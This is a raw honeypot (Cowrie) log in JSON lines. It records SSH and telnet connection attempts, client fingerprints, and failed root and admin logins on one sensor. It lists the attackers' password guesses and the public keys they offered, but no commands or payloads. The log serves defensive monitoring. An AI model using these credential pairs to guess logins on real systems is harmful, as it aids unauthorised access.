{"eventid":"cowrie.session.closed","duration":47.72504925727844,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:48:45.944714Z","src_ip":"129.232.238.42","session":"c4a6fb43284a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":57516,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d8ae0f111ae","protocol":"ssh","message":"New connection: 103.15.226.202:57516 (10.17.0.5:22) [session: 9d8ae0f111ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:48:45.979877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:48:45.986316Z","src_ip":"103.15.226.202","session":"9d8ae0f111ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:48:46.235363Z","src_ip":"103.15.226.202","session":"9d8ae0f111ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz2wsx3edc","message":"login attempt [root/!qaz2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:48:47.018316Z","src_ip":"103.15.226.202","session":"9d8ae0f111ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:48:48.270907Z","src_ip":"103.15.226.202","session":"9d8ae0f111ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.215.92.3","src_port":44666,"dst_ip":"10.17.0.5","dst_port":23,"session":"31fc52669b8f","protocol":"telnet","message":"New connection: 41.215.92.3:44666 (10.17.0.5:23) [session: 31fc52669b8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:48:52.873178Z"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.33.115","src_port":59554,"dst_ip":"10.17.0.5","dst_port":22,"session":"90977dd71b09","protocol":"ssh","message":"New connection: 191.101.33.115:59554 (10.17.0.5:22) [session: 90977dd71b09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:48:56.692893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:48:56.702520Z","src_ip":"191.101.33.115","session":"90977dd71b09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:48:56.730674Z","src_ip":"191.101.33.115","session":"90977dd71b09","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ef:3f:ce:ed:82:f3:c8:c3:9e:e0:30:81:df:7a:c6:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC84bLpQSfCufYjYO1wEIYHHk90SlgxuSklrpxBeJ0hGESCwKcr1iuEceaQONevotQxox4nwJ+KxB9+E0KrKvn89ZDbiqjIypoT8CJh0zClHzIfr4tYT1660zAxzl8DNj3BMxUJC5rX03n36x/wei+0MtUOnd4A98yAxNmO30p9iHAySFoYNOewYyqMk/pyUxHuvaUvJi41LtfKr/KImv/CkJdji5dmZ57NJA5/5Td3bzHpViNnKsCyILkKq4iHQBUkADcIDaYcVINXWB4ullgrTkg1DHnBjbSBHtPIAiw4Xg4BMHCcdtuEPwJ5c0q0QtGb1BWL8CPt+Yean3za5sfV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ef:3f:ce:ed:82:f3:c8:c3:9e:e0:30:81:df:7a:c6:45","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:48:56.846809Z","src_ip":"191.101.33.115","session":"90977dd71b09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ef:3f:ce:ed:82:f3:c8:c3:9e:e0:30:81:df:7a:c6:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC84bLpQSfCufYjYO1wEIYHHk90SlgxuSklrpxBeJ0hGESCwKcr1iuEceaQONevotQxox4nwJ+KxB9+E0KrKvn89ZDbiqjIypoT8CJh0zClHzIfr4tYT1660zAxzl8DNj3BMxUJC5rX03n36x/wei+0MtUOnd4A98yAxNmO30p9iHAySFoYNOewYyqMk/pyUxHuvaUvJi41LtfKr/KImv/CkJdji5dmZ57NJA5/5Td3bzHpViNnKsCyILkKq4iHQBUkADcIDaYcVINXWB4ullgrTkg1DHnBjbSBHtPIAiw4Xg4BMHCcdtuEPwJ5c0q0QtGb1BWL8CPt+Yean3za5sfV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:48:56.851153Z","src_ip":"191.101.33.115","session":"90977dd71b09","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ab:9e:e9:9c:70:2a:35:b5:96:6e:1e:c5:88:47:20:7a","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOmHBm4NPsE7QQ/EnREapCofOVfCnnomYIoYVl/uLEmh","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint ab:9e:e9:9c:70:2a:35:b5:96:6e:1e:c5:88:47:20:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:48:56.881196Z","src_ip":"191.101.33.115","session":"90977dd71b09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ab:9e:e9:9c:70:2a:35:b5:96:6e:1e:c5:88:47:20:7a","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOmHBm4NPsE7QQ/EnREapCofOVfCnnomYIoYVl/uLEmh","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:48:56.885468Z","src_ip":"191.101.33.115","session":"90977dd71b09","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3a:94:55:36:e0:4d:5d:e2:d1:33:00:01:a1:26:44:44","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIL+IqrsbbocPY6Ix/ouLJ+MbiWuSKvVdjTbp66jHGwow","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 3a:94:55:36:e0:4d:5d:e2:d1:33:00:01:a1:26:44:44","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:48:56.914636Z","src_ip":"191.101.33.115","session":"90977dd71b09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3a:94:55:36:e0:4d:5d:e2:d1:33:00:01:a1:26:44:44","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIL+IqrsbbocPY6Ix/ouLJ+MbiWuSKvVdjTbp66jHGwow","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:48:56.921109Z","src_ip":"191.101.33.115","session":"90977dd71b09","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7f:8a:0d:95:0a:b6:ec:b0:f4:5a:7d:de:18:18:9e:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCUCHqsc0TfS8uF52okWeGWc9UBlWAJU9BOBZ0Tq4Z0hCJlJ3KUGJfFCX2fff7pCmmOXKEnicSgneRjOHaCqk05pS93UwaZ09lorwFFc/qJpGixbs6j1yV5PY7lQh28UEFE8Su0/b2v041gIGJ1QideHC91N7SOcTlj/TwDo5QiSLkt8EPxTDwra2rsjMgze1b/XsIBDJJ6hSAqtq4JC7QnKBEC+MCkZHW99yRBAzbf74XCn4P1JNoU9pXTBYM6YaqaNJbM/vzEGMZ0Lskkb2qaaf/rqH/8Avn1nxjEr8EID9/ZGHw8iIh7RvpJRyVA6x6NdJUwTZ2m2swXhlctMjMGi7dV0+mjv8wjY9Vsw7kBl63sQO0XYSVT7qXiuKJRKE+jwp4pvyGxt2aozSXqEtNCLffWCEca0LP4P0LKqMehVtjb4USRXAYyuAD5oiGfZLJ2suGIvr/OD2O+yzaWErKQKDw+Z8Qf3nvjZE5Qig1oBw2rUVVG1b8NhMJUXOvQyKSPAJ4+mO1l4W3UwlxPZ93t2zJ8aurjUvV8LhEWPkeb3vXl6+oWtVtzpO90sborly55yEc7NnSNzEK+wfYQu7jNUVVN56F4X+UUSxYTC6gjjhL4QYMbQx+mlrQ2VpZnG0yV6rrYOdfGGKjwKNjt+TT1a5Kvv8VLy6IE1Afq9kEtlw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7f:8a:0d:95:0a:b6:ec:b0:f4:5a:7d:de:18:18:9e:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:48:56.953960Z","src_ip":"191.101.33.115","session":"90977dd71b09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7f:8a:0d:95:0a:b6:ec:b0:f4:5a:7d:de:18:18:9e:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCUCHqsc0TfS8uF52okWeGWc9UBlWAJU9BOBZ0Tq4Z0hCJlJ3KUGJfFCX2fff7pCmmOXKEnicSgneRjOHaCqk05pS93UwaZ09lorwFFc/qJpGixbs6j1yV5PY7lQh28UEFE8Su0/b2v041gIGJ1QideHC91N7SOcTlj/TwDo5QiSLkt8EPxTDwra2rsjMgze1b/XsIBDJJ6hSAqtq4JC7QnKBEC+MCkZHW99yRBAzbf74XCn4P1JNoU9pXTBYM6YaqaNJbM/vzEGMZ0Lskkb2qaaf/rqH/8Avn1nxjEr8EID9/ZGHw8iIh7RvpJRyVA6x6NdJUwTZ2m2swXhlctMjMGi7dV0+mjv8wjY9Vsw7kBl63sQO0XYSVT7qXiuKJRKE+jwp4pvyGxt2aozSXqEtNCLffWCEca0LP4P0LKqMehVtjb4USRXAYyuAD5oiGfZLJ2suGIvr/OD2O+yzaWErKQKDw+Z8Qf3nvjZE5Qig1oBw2rUVVG1b8NhMJUXOvQyKSPAJ4+mO1l4W3UwlxPZ93t2zJ8aurjUvV8LhEWPkeb3vXl6+oWtVtzpO90sborly55yEc7NnSNzEK+wfYQu7jNUVVN56F4X+UUSxYTC6gjjhL4QYMbQx+mlrQ2VpZnG0yV6rrYOdfGGKjwKNjt+TT1a5Kvv8VLy6IE1Afq9kEtlw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:48:56.957898Z","src_ip":"191.101.33.115","session":"90977dd71b09","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7e:3c:7f:54:b8:b2:11:76:2a:58:5d:cc:d2:82:a9:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDKxivy0tZZhqBkV6iLyuq8hwCzqCIE8q/Us19e5iy4Q2S45NkHSZlFCp1C6tXpvpAUb7VULou21lbPFtNZkx3LXul76iCrU1ozvqqKZtyRS6ZDz9iC6se0SIjMxLa2o12mQ47XS8xVsFElUGtwEXAf5OmqOadWKC6MQopEmMD5XG1859v0bZ7assYZgOSjaR++xOBeoDP2J5/41RVB7VQtRjgalGSRzHQKbwbOPDNMfgs4N+fidgSOoI+QXf6IfBPuAIqll4MNRupIP+FSdbd4p0a89Kuph9Plkc9sk0ICHkLeGJsgiNDnzeg3ROQFEYJnV3HCLnnyE4Tu9wykmfA8sKF6bJEu8cDsgk/d6qhKud3k37ZsAUdyTNmsAOaubMOVtkHmt3MrjSC0VEzlJLSlxV9QRSqhJ+sAdVq9qJX0fqMIuQI7rs13YslCi9dsvQBtr0GdksrSLHwZLhuCRcqjH2EgX9vxTM7t1/k7Fwmie4rPW0gCu77esWaZlvjJeaE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7e:3c:7f:54:b8:b2:11:76:2a:58:5d:cc:d2:82:a9:fe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:48:56.995217Z","src_ip":"191.101.33.115","session":"90977dd71b09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7e:3c:7f:54:b8:b2:11:76:2a:58:5d:cc:d2:82:a9:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDKxivy0tZZhqBkV6iLyuq8hwCzqCIE8q/Us19e5iy4Q2S45NkHSZlFCp1C6tXpvpAUb7VULou21lbPFtNZkx3LXul76iCrU1ozvqqKZtyRS6ZDz9iC6se0SIjMxLa2o12mQ47XS8xVsFElUGtwEXAf5OmqOadWKC6MQopEmMD5XG1859v0bZ7assYZgOSjaR++xOBeoDP2J5/41RVB7VQtRjgalGSRzHQKbwbOPDNMfgs4N+fidgSOoI+QXf6IfBPuAIqll4MNRupIP+FSdbd4p0a89Kuph9Plkc9sk0ICHkLeGJsgiNDnzeg3ROQFEYJnV3HCLnnyE4Tu9wykmfA8sKF6bJEu8cDsgk/d6qhKud3k37ZsAUdyTNmsAOaubMOVtkHmt3MrjSC0VEzlJLSlxV9QRSqhJ+sAdVq9qJX0fqMIuQI7rs13YslCi9dsvQBtr0GdksrSLHwZLhuCRcqjH2EgX9vxTM7t1/k7Fwmie4rPW0gCu77esWaZlvjJeaE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:48:56.999420Z","src_ip":"191.101.33.115","session":"90977dd71b09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:48:57.029963Z","src_ip":"191.101.33.115","session":"90977dd71b09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.971904993057251,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:49:05.844979Z","src_ip":"41.215.92.3","session":"31fc52669b8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":61776,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fe64e485028","protocol":"ssh","message":"New connection: 2.57.121.112:61776 (10.17.0.5:22) [session: 6fe64e485028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:49:51.353136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:49:51.357418Z","src_ip":"2.57.121.112","session":"6fe64e485028","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:49:51.456941Z","src_ip":"2.57.121.112","session":"6fe64e485028","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"number7","message":"login attempt [admin/number7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:49:51.931109Z","src_ip":"2.57.121.112","session":"6fe64e485028","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"number5","message":"login attempt [admin/number5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:49:53.034681Z","src_ip":"2.57.121.112","session":"6fe64e485028","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nowwowtg","message":"login attempt [admin/nowwowtg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:49:54.138725Z","src_ip":"2.57.121.112","session":"6fe64e485028","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"novembe","message":"login attempt [admin/novembe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:49:55.243982Z","src_ip":"2.57.121.112","session":"6fe64e485028","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nottingh","message":"login attempt [admin/nottingh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:49:56.347660Z","src_ip":"2.57.121.112","session":"6fe64e485028","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:49:57.450863Z","src_ip":"2.57.121.112","session":"6fe64e485028","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":33753,"dst_ip":"10.17.0.5","dst_port":23,"session":"98850983cbb4","protocol":"telnet","message":"New connection: 212.55.149.117:33753 (10.17.0.5:23) [session: 98850983cbb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:50:00.594043Z"}
{"eventid":"cowrie.session.closed","duration":62.103424310684204,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:51:02.697366Z","src_ip":"212.55.149.117","session":"98850983cbb4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.183.192","src_port":33142,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3aaec622f92","protocol":"telnet","message":"New connection: 103.153.183.192:33142 (10.17.0.5:23) [session: f3aaec622f92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:51:48.574038Z"}
{"eventid":"cowrie.session.closed","duration":0.005473136901855469,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:51:48.579374Z","src_ip":"103.153.183.192","session":"f3aaec622f92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.235.227.19","src_port":61780,"dst_ip":"10.17.0.5","dst_port":23,"session":"39a0bf52e21d","protocol":"telnet","message":"New connection: 91.235.227.19:61780 (10.17.0.5:23) [session: 39a0bf52e21d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:52:16.150808Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":60936,"dst_ip":"10.17.0.5","dst_port":22,"session":"443c60faf399","protocol":"ssh","message":"New connection: 103.15.226.202:60936 (10.17.0.5:22) [session: 443c60faf399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:52:21.873279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:52:21.879257Z","src_ip":"103.15.226.202","session":"443c60faf399","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:52:22.125311Z","src_ip":"103.15.226.202","session":"443c60faf399","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Itsemoemo2025@Washere2025","message":"login attempt [admin/Itsemoemo2025@Washere2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:52:22.864419Z","src_ip":"103.15.226.202","session":"443c60faf399","protocol":"ssh"}
